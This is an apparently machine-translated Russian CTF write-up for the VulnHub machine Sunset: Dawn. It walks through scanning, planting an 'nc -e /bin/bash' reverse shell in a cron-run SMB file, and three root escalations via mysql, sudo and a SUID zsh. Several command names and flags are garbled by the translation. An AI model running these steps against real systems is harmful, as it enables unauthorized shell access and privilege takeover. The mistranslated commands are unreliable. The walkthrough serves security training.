Следующей машиной в нашей серии прохождений станет Sunset: Dawn.
Автор: whitecr0wz
Как и в первом прохождении, нам нужно определить IP-адрес нашей цели.
Для этого мы используем команду
В моем случае IP-адрес будет 192.168.1.165.netdiscover
Сканирование
Начнем сканирование с определения открытых портов.
nmap -p- 192.168.1.165
Видим, что у нас открыты порты 80, 139, 445 и 3306, поэтому просканируем их.
nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165
Поиск точки входа
Порт 80 используется сайтом, поэтому начнем с него.
Видим, что на сайте нет ничего интересного.
Стоит проверить какие каталоги есть на сайте, для этого воспользуемся гобастер gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -o dir.out
Где реж.
— режим поиска каталогов, -ш - словарь, который мы выбрали, и -о файл, в который будут записаны результаты.
По результатам сканирования самое интересное для нас место журналы , поэтому давайте сначала посмотрим туда.
Видим 4 файла, попробуем их все скачать.
Но тут нам не очень повезло, у нас нет доступа ни к auth.log, ни к daemon.log, ни к error.log.
Но мы можем скачать файл Management.log (если файл пустой или маленький, то следует либо подождать некоторое время, либо перезагрузить виртуальную машину).
В логах мы видим, что на машине запускаются задачи crontab, что нам поможет в будущем.
/bin/sh -c /home/dawn/ITDEPT/product-control
/bin/sh -c /home/dawn/ITDEPT/web-control
Теперь посмотрим, что интересного мы можем найти с помощью SMB.
Пользователь 1
Для начала проверим, что у нас на 445, запускаем smbmap -H 192.168.1.165
У нас есть доступ на чтение/запись к папке.
ИТДЕПТ , вот здесь мы и подключимся smbclient //192.168.1.165/ITDEPT
Вам не нужно вводить пароль, просто нажмите Enter. Как мы видим из доступного нам лога, именно из этой папки запускались файлы веб-контроль И контроль продукции .
Эти файлы запускаются с опцией -с , который определяет команды чтения из строки, поэтому мы можем записать команду в файл, чтобы обратная оболочка echo "nc -e /bin/bash 192.168.1.68 9001" > web-control
Скачиваем полученный файл через smb командой помещать .
На нашей машине регистрируем nc -lnvp 9001
Ждём завершения задачи Crontab. и у нас есть шелл, пользователь www-данные .
Чтобы было проще работать с оболочкой, сделаем ее интерактивной с помощью Python. python3 -c 'import pty;pty.spawn("/bin/bash")'
Пользователь 2
Теперь мы получили доступ от первого пользователя, но если внимательно посмотреть логи, то можно заметить, что crontab также выполняет задачу от пользователя с ID=1000 (UID=1000) .Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. В целом можно использовать любой порт, не занятый стандартными сервисами.
И теперь у нас есть оболочка в качестве пользователя рассвет
Повышение привилегий
Способ 1
На этот раз мы не будем прибегать к скриптам.В этих примерах повышение привилегий происходит достаточно просто, поэтому найдем все вручную.
Для начала проверим, есть ли у пользователя возможность рассвет запустить некоторые файлы от имени пользователя root sudo -l
Как мы видим, разрешено использовать MySQL с правами суперпользователя, но если мы попытаемся ввести команду для получения подсмотренной нами оболочки GTFObins sudo mysql -e '\! /bin/sh'
Тогда у нас ничего не получится, так как необходима авторизация, а значит, нужно найти пароль.
Начнем с файла .
bash-история , который записывает последние команды пользователя, введенные в строке консоли.
cat .
bash_history
О, но мы нашли какой-то хеш и видим, что пользователь использовал MySQL под учетной записью root. Думаю, стоит взломать найденный хэш.
Джон нас не подводит и мы получаем пароль онии-чан29 , стоит попробовать при аутентификации в MySQL mysql -u root -p
Здесь мы вошли в MySQL как суперпользователь.
Если вы введете команду \? , то из всех представленных команд мы также можем запускать системные команды \! .
Итак, попробуем запустить оболочку \! /bin/bash
Так мы стали суперпользователем.
Способ 2
Не забываем, что у нас есть еще один пользователь www-данные , посмотрим, что с этим можно сделать.Начнем также с проверки судо -л .
Здесь мы видим, что можем выполнить команду судо с правами суперпользователя.
Тогда давайте попробуем запустить оболочку от имени пользователя root sudo -u root -i '/bin/bash'
Нам нужен пароль пользователя www-данные потому что мы запускаем судо от имени текущего пользователя, чтобы эксплуатировать этот вектор, нам нужно снова добавить команду в начало судо , чтобы начать это судо в качестве суперпользователя без необходимости ввода пароля (как мы видели на скриншоте ранее), добавьте опцию -я чтобы ввести команду, которую мы хотим выполнить, и -у корень (пользователя указывать не обязательно, так как команда уже запущена от имени пользователя root).
И.
вуаля, мы теперь root.
Способ 3
Мы можем использовать любого пользователя для этого метода.
Теперь проверим, какие исполняемые файлы вообще нам доступны в системе find / -perm -u=s -type f 2>/dev/null
Мы используем команду находить , с опциями / - поиск по всем каталогам, -пермь - с опцией -u=s , для поиска файлов с установленным битом SUID, -тип f - тип файла (f - обычный файл) и 2> /dev/ноль — эта опция скрывает ошибки в выводе команды (вы можете использовать ее с любой командой или даже исполняемым файлом).
Можно, конечно, проверить каждый, но в данном случае нас конкретно интересует зш , это всего лишь командная оболочка, запустив которую мы получаем рут права.
Эта машина, как и первая, не требует чрезвычайно сложных манипуляций.
Как говорится загрузка с root. Другие части прохождения Sunset cars: Закат: 1 Закат: темнота Теги: #информационная безопасность #ctf #пентест #vulnhub #vulnhub #writeup #writeup #writeup #writeup
-
Дзен-Практики В Открытом Космосе
19 Oct, 24 -
Сброс Стилей С Помощью Css Reset
19 Oct, 24 -
Использование C++ С Aws Lambda
19 Oct, 24 -
Бизнес 2.0: Секреты Успеха Для Лидеров
19 Oct, 24 -
64 Миллисекунды После Клика
19 Oct, 24